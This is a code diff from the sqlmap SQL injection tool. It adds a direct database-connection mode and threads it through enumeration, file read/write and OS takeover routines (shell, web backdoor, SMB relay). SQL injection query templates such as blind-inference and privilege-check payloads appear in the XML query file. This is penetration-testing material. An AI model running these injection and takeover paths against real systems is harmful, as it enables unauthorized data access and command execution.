||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
81
plugins/generic/connector.py
Normal file
81
plugins/generic/connector.py
Normal file
|
@ -0,0 +1,81 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 021101301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
|
|
||||||
|
class Connector:
|
||||||
|
"""
|
||||||
|
This class defines generic dbms protocol functionalities for plugins.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.connector = None
|
||||||
|
self.cursor = None
|
||||||
|
|
||||||
|
def initConnection(self):
|
||||||
|
self.user = conf.dbmsUser
|
||||||
|
self.password = conf.dbmsPass
|
||||||
|
self.hostname = conf.hostname
|
||||||
|
self.port = conf.port
|
||||||
|
self.db = conf.dbmsDb
|
||||||
|
|
||||||
|
def connected(self):
|
||||||
|
infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
|
||||||
|
infoMsg += ":%d established" % self.port
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
errMsg = "'connect' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
errMsg = "'fetchall' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
errMsg = "'execute' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
errMsg = "'select' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def setCursor(self):
|
||||||
|
errMsg = "'setCursor' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def getCursor(self):
|
||||||
|
return self.cursor
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
errMsg = "'close' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
|
@ -139,7 +139,7 @@ class Enumeration:
|
||||||
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
||||||
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
|
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if condition:
|
if condition:
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
else:
|
else:
|
||||||
|
@ -196,7 +196,7 @@ class Enumeration:
|
||||||
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
else:
|
else:
|
||||||
|
@ -393,7 +393,7 @@ class Enumeration:
|
||||||
"E": "EXECUTE"
|
"E": "EXECUTE"
|
||||||
}
|
}
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
condition = rootQuery["inband"]["condition2"]
|
condition = rootQuery["inband"]["condition2"]
|
||||||
|
@ -439,7 +439,7 @@ class Enumeration:
|
||||||
|
|
||||||
# In PostgreSQL we get 1 if the privilege is
|
# In PostgreSQL we get 1 if the privilege is
|
||||||
# True, 0 otherwise
|
# True, 0 otherwise
|
||||||
if kb.dbms == "PostgreSQL" and privilege.isdigit():
|
if kb.dbms == "PostgreSQL" and str(privilege).isdigit():
|
||||||
for position, pgsqlPriv in pgsqlPrivs:
|
for position, pgsqlPriv in pgsqlPrivs:
|
||||||
if count == position and int(privilege) == 1:
|
if count == position and int(privilege) == 1:
|
||||||
privileges.add(pgsqlPriv)
|
privileges.add(pgsqlPriv)
|
||||||
|
@ -639,7 +639,7 @@ class Enumeration:
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].dbs
|
rootQuery = queries[kb.dbms].dbs
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
else:
|
else:
|
||||||
|
@ -696,7 +696,7 @@ class Enumeration:
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].tables
|
rootQuery = queries[kb.dbms].tables
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
query = rootQuery["inband"]["query"]
|
query = rootQuery["inband"]["query"]
|
||||||
condition = rootQuery["inband"]["condition"]
|
condition = rootQuery["inband"]["condition"]
|
||||||
|
|
||||||
|
@ -855,7 +855,7 @@ class Enumeration:
|
||||||
infoMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
|
@ -1039,7 +1039,7 @@ class Enumeration:
|
||||||
colQuery = "%s%s" % (colCond, colCondParam)
|
colQuery = "%s%s" % (colCond, colCondParam)
|
||||||
colQuery = colQuery % column
|
colQuery = colQuery % column
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
query = rootQuery["inband"]["query"]
|
query = rootQuery["inband"]["query"]
|
||||||
query += colQuery
|
query += colQuery
|
||||||
query += dbsQuery
|
query += dbsQuery
|
||||||
|
@ -1095,7 +1095,7 @@ class Enumeration:
|
||||||
infoMsg += " '%s' in database '%s'" % (column, db)
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
@ -1321,7 +1321,7 @@ class Enumeration:
|
||||||
|
|
||||||
entriesCount = 0
|
entriesCount = 0
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition or conf.direct:
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
||||||
elif kb.dbms == "SQLite":
|
elif kb.dbms == "SQLite":
|
||||||
|
@ -1349,7 +1349,7 @@ class Enumeration:
|
||||||
else:
|
else:
|
||||||
colEntry = entry[index]
|
colEntry = entry[index]
|
||||||
|
|
||||||
colEntryLen = len(colEntry)
|
colEntryLen = len(str(colEntry))
|
||||||
maxLen = max(colLen, colEntryLen)
|
maxLen = max(colLen, colEntryLen)
|
||||||
|
|
||||||
if maxLen > kb.data.dumpedTable[column]["length"]:
|
if maxLen > kb.data.dumpedTable[column]["length"]:
|
||||||
|
|
|
@ -29,13 +29,13 @@ from lib.core.agent import agent
|
||||||
from lib.core.common import dataToOutFile
|
from lib.core.common import dataToOutFile
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class Filesystem:
|
class Filesystem:
|
||||||
"""
|
"""
|
||||||
This class defines generic OS file system functionalities for plugins.
|
This class defines generic OS file system functionalities for plugins.
|
||||||
|
@ -278,18 +278,19 @@ class Filesystem:
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if conf.direct or kb.stackedTest:
|
||||||
|
if kb.stackedTest:
|
||||||
|
debugMsg = "going to read the file with stacked query SQL "
|
||||||
|
debugMsg += "injection technique"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
fileContent = self.stackedReadFile(rFile)
|
||||||
|
else:
|
||||||
debugMsg = "going to read the file with UNION query SQL "
|
debugMsg = "going to read the file with UNION query SQL "
|
||||||
debugMsg += "injection technique"
|
debugMsg += "injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
fileContent = self.unionReadFile(rFile)
|
fileContent = self.unionReadFile(rFile)
|
||||||
else:
|
|
||||||
debugMsg = "going to read the file with stacked query SQL "
|
|
||||||
debugMsg += "injection technique"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
fileContent = self.stackedReadFile(rFile)
|
|
||||||
|
|
||||||
if fileContent in ( None, "" ) and kb.dbms != "PostgreSQL":
|
if fileContent in ( None, "" ) and kb.dbms != "PostgreSQL":
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
@ -319,16 +320,17 @@ class Filesystem:
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if conf.direct or kb.stackedTest:
|
||||||
|
if kb.stackedTest:
|
||||||
|
debugMsg = "going to upload the %s file with " % fileType
|
||||||
|
debugMsg += "stacked query SQL injection technique"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.stackedWriteFile(wFile, dFile, fileType, confirm)
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
else:
|
||||||
debugMsg = "going to upload the %s file with " % fileType
|
debugMsg = "going to upload the %s file with " % fileType
|
||||||
debugMsg += "UNION query SQL injection technique"
|
debugMsg += "UNION query SQL injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.unionWriteFile(wFile, dFile, fileType, confirm)
|
self.unionWriteFile(wFile, dFile, fileType, confirm)
|
||||||
else:
|
|
||||||
debugMsg = "going to upload the %s file with " % fileType
|
|
||||||
debugMsg += "stacked query SQL injection technique"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.stackedWriteFile(wFile, dFile, fileType, confirm)
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
|
@ -98,6 +98,9 @@ class Miscellaneous:
|
||||||
|
|
||||||
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
query = "SELECT %s" % query
|
||||||
|
|
||||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||||
|
|
||||||
|
@ -127,7 +130,7 @@ class Miscellaneous:
|
||||||
|
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest and not conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
|
|
|
@ -51,7 +51,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest:
|
if kb.stackedTest or conf.direct:
|
||||||
web = False
|
web = False
|
||||||
elif not kb.stackedTest and kb.dbms == "MySQL":
|
elif not kb.stackedTest and kb.dbms == "MySQL":
|
||||||
infoMsg = "going to use a web backdoor for command execution"
|
infoMsg = "going to use a web backdoor for command execution"
|
||||||
|
@ -74,7 +74,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest:
|
if kb.stackedTest or conf.direct:
|
||||||
web = False
|
web = False
|
||||||
elif not kb.stackedTest and kb.dbms == "MySQL":
|
elif not kb.stackedTest and kb.dbms == "MySQL":
|
||||||
infoMsg = "going to use a web backdoor for command prompt"
|
infoMsg = "going to use a web backdoor for command prompt"
|
||||||
|
@ -99,7 +99,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
|
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest:
|
if kb.stackedTest or conf.direct:
|
||||||
web = False
|
web = False
|
||||||
|
|
||||||
self.initEnv(web=web)
|
self.initEnv(web=web)
|
||||||
|
@ -195,7 +195,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
errMsg += "relay attack"
|
errMsg += "relay attack"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest and not conf.direct:
|
||||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||||
errMsg = "on this back-end DBMS it is only possible to "
|
errMsg = "on this back-end DBMS it is only possible to "
|
||||||
errMsg += "perform the SMB relay attack if stacked "
|
errMsg += "perform the SMB relay attack if stacked "
|
||||||
|
@ -239,7 +239,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
def osBof(self):
|
def osBof(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest and not conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||||
|
@ -267,7 +267,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||||
def __regInit(self):
|
def __regInit(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest and not conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
|
@ -2,6 +2,10 @@
|
||||||
# get target urls from.
|
# get target urls from.
|
||||||
[Target]
|
[Target]
|
||||||
|
|
||||||
|
# Direct connection to the database.
|
||||||
|
# Example: mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
|
||||||
|
direct =
|
||||||
|
|
||||||
# Target URL.
|
# Target URL.
|
||||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||||
url =
|
url =
|
||||||
|
|
|
@ -25,9 +25,9 @@
|
||||||
<substring query="MID((%s), %d, %d)"/>
|
<substring query="MID((%s), %d, %d)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="SELECT VERSION()"/>
|
||||||
<current_user query="CURRENT_USER()"/>
|
<current_user query="SELECT CURRENT_USER()"/>
|
||||||
<current_db query="DATABASE()"/>
|
<current_db query="SELECT DATABASE()"/>
|
||||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
||||||
<users>
|
<users>
|
||||||
|
@ -160,9 +160,9 @@
|
||||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="SELECT VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="SELECT CURRENT_USER"/>
|
||||||
<current_db query="CURRENT_DATABASE()"/>
|
<current_db query="SELECT CURRENT_DATABASE()"/>
|
||||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||||
<users>
|
<users>
|
||||||
|
@ -218,9 +218,9 @@
|
||||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||||
<banner query="@@VERSION"/>
|
<banner query="SELECT @@VERSION"/>
|
||||||
<current_user query="SYSTEM_USER"/>
|
<current_user query="SELECT SYSTEM_USER"/>
|
||||||
<current_db query="DB_NAME()"/>
|
<current_db query="SELECT DB_NAME()"/>
|
||||||
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
|
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||||
|
@ -276,7 +276,7 @@
|
||||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="AND SUBSTR((%s), %d, 1) > '%s'"/>
|
<inference query="AND SUBSTR((%s), %d, 1) > '%s'"/>
|
||||||
<banner query="SQLITE_VERSION()"/>
|
<banner query="SELECT SQLITE_VERSION()"/>
|
||||||
<current_user/>
|
<current_user/>
|
||||||
<current_db/>
|
<current_db/>
|
||||||
<is_dba/>
|
<is_dba/>
|
||||||
|
@ -316,7 +316,7 @@
|
||||||
<substring query="MID((%s), %d, %d)"/>
|
<substring query="MID((%s), %d, %d)"/>
|
||||||
<case query="IIF(%s,1,0)"/>
|
<case query="IIF(%s,1,0)"/>
|
||||||
<banner/>
|
<banner/>
|
||||||
<current_user query="CURRENTUSER()"/>
|
<current_user query="SELECT CURRENTUSER()"/>
|
||||||
<current_db/>
|
<current_db/>
|
||||||
<inference query="AND ASC(MID((%s), %d, 1)) > %d"/>
|
<inference query="AND ASC(MID((%s), %d, 1)) > %d"/>
|
||||||
<is_dba query="IIF(CURRENTUSER()='Admin',1,0)"/>
|
<is_dba query="IIF(CURRENTUSER()='Admin',1,0)"/>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user